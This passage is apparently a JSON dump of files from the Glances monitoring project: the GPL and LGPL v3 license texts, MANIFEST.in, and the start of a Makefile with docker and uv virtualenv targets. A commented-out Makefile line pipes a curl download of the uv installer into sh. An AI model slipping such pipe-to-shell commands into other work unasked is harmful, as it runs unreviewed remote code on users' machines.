PARTICULAR PURPOSE.  See the GNU General Public License for more details.\n\n     You should have received a copy of the GNU General Public License along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode:\n\n     <program>  Copyright (C) <year>  <name of author>\n     This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n     This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an “about box”.\n\nYou should also get your employer (if you work as a programmer) or school, if any, to sign a “copyright disclaimer” for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>.\n\nThe GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "LICENSES/LGPL-3.0-only.txt",
    "content": "GNU LESSER GENERAL PUBLIC LICENSE\nVersion 3, 29 June 2007\n\nCopyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n\nEveryone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.\n\nThis version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below.\n\n0. Additional Definitions.\n\nAs used herein, \"this License\" refers to version 3 of the GNU Lesser General Public License, and the \"GNU GPL\" refers to version 3 of the GNU General Public License.\n\n\"The Library\" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below.\n\nAn \"Application\" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library.\n\nA \"Combined Work\" is a work produced by combining or linking an Application with the Library.  The particular version of the Library with which the Combined Work was made is also called the \"Linked Version\".\n\nThe \"Minimal Corresponding Source\" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version.\n\nThe \"Corresponding Application Code\" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work.\n\n1. Exception to Section 3 of the GNU GPL.\nYou may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL.\n\n2. Conveying Modified Versions.\nIf you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version:\n\n     a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or\n\n     b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy.\n\n3. Object Code Incorporating Material from Library Header Files.\nThe object code form of an Application may incorporate material from a header file that is part of the Library.  You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following:\n\n     a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License.\n\n     b) Accompany the object code with a copy of the GNU GPL and this license document.\n\n4. Combined Works.\nYou may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following:\n\n     a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License.\n\n     b) Accompany the Combined Work with a copy of the GNU GPL and this license document.\n\n     c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document.\n\n     d) Do one of the following:\n\n           0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.\n\n          1) Use a suitable shared library mechanism for linking with the Library.  A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version.\n\n     e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.)\n\n5. Combined Libraries.\nYou may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following:\n\n     a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License.\n\n     b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work.\n\n6. Revised Versions of the GNU Lesser General Public License.\nThe Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.\n\nEach version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License \"or any later version\" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation.\n\nIf the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall\napply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.\n\nGNU GENERAL PUBLIC LICENSE\nVersion 3, 29 June 2007\n\nCopyright © 2007 Free Software Foundation, Inc. <http://fsf.org/>\n\nEveryone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.\n\nPreamble\n\nThe GNU General Public License is a free, copyleft license for software and other kinds of works.\n\nThe licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.\n\nWhen we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.\n\nTo protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.\n\nFor example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.\n\nDevelopers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.\n\nFor the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions.\n\nSome devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users.\n\nFinally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free.\n\nThe precise terms and conditions for copying, distribution and modification follow.\n\nTERMS AND CONDITIONS\n\n0. Definitions.\n\n“This License” refers to version 3 of the GNU General Public License.\n\n“Copyright” also means copyright-like laws that apply to other kinds of works, such as semiconductor masks.\n\n“The Program” refers to any copyrightable work licensed under this License. Each licensee is addressed as “you”. “Licensees” and “recipients” may be individuals or organizations.\n\nTo “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a “modified version” of the earlier work or a work “based on” the earlier work.\n\nA “covered work” means either the unmodified Program or a work based on the Program.\n\nTo “propagate” a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well.\n\nTo “convey” a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying.\n\nAn interactive user interface displays “Appropriate Legal Notices” to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion.\n\n1. Source Code.\nThe “source code” for a work means the preferred form of the work for making modifications to it. “Object code” means any non-source form of a work.\n\nA “Standard Interface” means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language.\n\nThe “System Libraries” of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A “Major Component”, in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it.\n\nThe “Corresponding Source” for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work.\n\nThe Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source.\n\nThe Corresponding Source for a work in source code form is that same work.\n\n2. Basic Permissions.\nAll rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law.\n\nYou may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you.\n\nConveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary.\n\n3. Protecting Users' Legal Rights From Anti-Circumvention Law.\nNo covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures.\n\nWhen you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures.\n\n4. Conveying Verbatim Copies.\nYou may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program.\n\nYou may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee.\n\n5. Conveying Modified Source Versions.\nYou may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions:\n\n     a) The work must carry prominent notices stating that you modified it, and giving a relevant date.\n\n     b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to “keep intact all notices”.\n\n     c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it.\n\n     d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so.\n\nA compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an “aggregate” if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate.\n\n6. Conveying Non-Source Forms.\nYou may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways:\n\n     a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange.\n\n     b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge.\n\n     c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b.\n\n     d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements.\n\n     e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d.\n\nA separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work.\n\nA “User Product” is either (1) a “consumer product”, which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, “normally used” refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product.\n\n“Installation Information” for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made.\n\nIf you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM).\n\nThe requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network.\n\nCorresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying.\n\n7. Additional Terms.\n“Additional permissions” are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions.\n\nWhen you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission.\n\nNotwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms:\n\n     a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or\n\n     b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or\n\n     c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or\n\n     d) Limiting the use for publicity purposes of names of licensors or authors of the material; or\n\n     e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or\n\n     f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors.\n\nAll other non-permissive additional terms are considered “further restrictions” within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying.\n\nIf you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms.\n\nAdditional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way.\n\n8. Termination.\nYou may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).\n\nHowever, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.\n\nMoreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.\n\nTermination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10.\n\n9. Acceptance Not Required for Having Copies.\nYou are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so.\n\n10. Automatic Licensing of Downstream Recipients.\nEach time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License.\n\nAn “entity transaction” is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts.\n\nYou may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it.\n\n11. Patents.\nA “contributor” is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's “contributor version”.\n\nA contributor's “essential patent claims” are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, “control” includes the right to grant patent sublicenses in a manner consistent with the requirements of this License.\n\nEach contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version.\n\nIn the following three paragraphs, a “patent license” is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To “grant” such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party.\n\nIf you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. “Knowingly relying” means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid.\n\nIf, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it.\n\nA patent license is “discriminatory” if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007.\n\nNothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law.\n\n12. No Surrender of Others' Freedom.\nIf conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program.\n\n13. Use with the GNU Affero General Public License.\nNotwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such.\n\n14. Revised Versions of this License.\nThe Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.\n\nEach version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation.\n\nIf the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program.\n\nLater license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version.\n\n15. Disclaimer of Warranty.\nTHERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n16. Limitation of Liability.\nIN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n\n17. Interpretation of Sections 15 and 16.\nIf the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee.\n\nEND OF TERMS AND CONDITIONS\n\nHow to Apply These Terms to Your New Programs\n\nIf you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.\n\nTo do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the “copyright” line and a pointer to where the full notice is found.\n\n     <one line to give the program's name and a brief idea of what it does.>\n     Copyright (C) <year>  <name of author>\n\n     This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.\n\n     This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.\n\n     You should have received a copy of the GNU General Public License along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode:\n\n     <program>  Copyright (C) <year>  <name of author>\n     This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n     This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an “about box”.\n\nYou should also get your employer (if you work as a programmer) or school, if any, to sign a “copyright disclaimer” for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>.\n\nThe GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "MANIFEST.in",
    "content": "include AUTHORS\ninclude CONTRIBUTING.md\ninclude COPYING\ninclude NEWS.rst\ninclude README.rst\ninclude README-pypi.rst\ninclude SECURITY.md\ninclude conf/glances.conf\ninclude conf/fetch-templates/*.jinja\ninclude requirements.txt\ninclude all-requirements.txt\nrecursive-include docs *\nrecursive-include glances *.py\nrecursive-include glances/outputs/static *\n"
  },
  {
    "path": "Makefile",
    "content": "PORT     \t  ?= 8008\nCONF     \t  := conf/glances.conf\nLASTTAG  \t   = $(shell git describe --tags --abbrev=0)\n\nIMAGES_TYPES      := full minimal\nDISTROS           := alpine ubuntu\nalpine_images     := $(IMAGES_TYPES:%=docker-alpine-%)\nubuntu_images     := $(IMAGES_TYPES:%=docker-ubuntu-%)\nDOCKER_IMAGES     := $(alpine_images) $(ubuntu_images)\nDOCKER_RUNTIMES   := $(DOCKER_IMAGES:%=run-%)\nUNIT_TESTS        := test-core test-restful test-xmlrpc\nDOCKER_BUILD      := docker buildx build\nDOCKER_RUN        := docker run\nPODMAN_SOCK       ?= /run/user/$(shell id -u)/podman/podman.sock\nDOCKER_SOCK       ?= /var/run/docker.sock\nDOCKER_SOCKS      := -v $(PODMAN_SOCK):$(PODMAN_SOCK):ro -v $(DOCKER_SOCK):$(DOCKER_SOCK):ro\nDOCKER_OPTS       := --rm -e TZ=\"${TZ}\" -e GLANCES_OPT=\"\" --pid host --network host\nUV_RUN\t\t   \t  := .venv-uv/bin/uv\n\n# if the command is only `make`, the default tasks will be the printing of the help.\n.DEFAULT_GOAL := help\n\n.PHONY: help test docs docs-server venv requirements profiling docker all clean all test\n\nhelp: ## List all make commands available\n\t@grep -E '^[\\.a-zA-Z_%-]+:.*?## .*$$' $(MAKEFILE_LIST) | \\\n\tawk -F \":\" '{print $1}' | \\\n\tgrep -v % | sed 's/\\\\//g' | sort | \\\n\tawk 'BEGIN {FS = \":[^:]*?##\"}; {printf \"\\033[1;34mmake %-50s\\033[0m %s\\n\", $$1, $$2}'\n\n# ===================================================================\n# Virtualenv\n# ===================================================================\n\n# install-uv: ## Instructions to install the UV tool\n# \t@echo \"Install the UV tool (https://astral.sh/uv/)\"\n# \t@echo \"Please install the UV tool manually\"\n# \t@echo \"For example with: curl -LsSf https://astral.sh/uv/install.sh | sh\"\n# \t@echo \"Or via a package manager of your distribution\"\n# \t@echo \"For example for Snap: snap install astral-uv\"\n\ninstall-uv: ## Install UV tool in a specific virtualenv\n\tpython3 -m venv .venv-uv\n\t.venv-uv/bin/pip install uv\n\nupgrade-uv: ## Upgrade the UV tool\n\t.venv-uv/bin/pip install --upgrade pip\n\t.venv-uv/bin/pip install --upgrade uv\n\nvenv: ## Create the virtualenv with all dependencies\n\t$(UV_RUN) sync --all-extras --no-group dev\n\nvenv-upgrade venv-switch-to-full: ## Upgrade the virtualenv with all dependencies\n\t$(UV_RUN) sync --upgrade --all-extras\n\nvenv-min: ## Create the virtualenv with minimal dependencies\n\t$(UV_RUN) sync\n\nvenv-upgrade-min 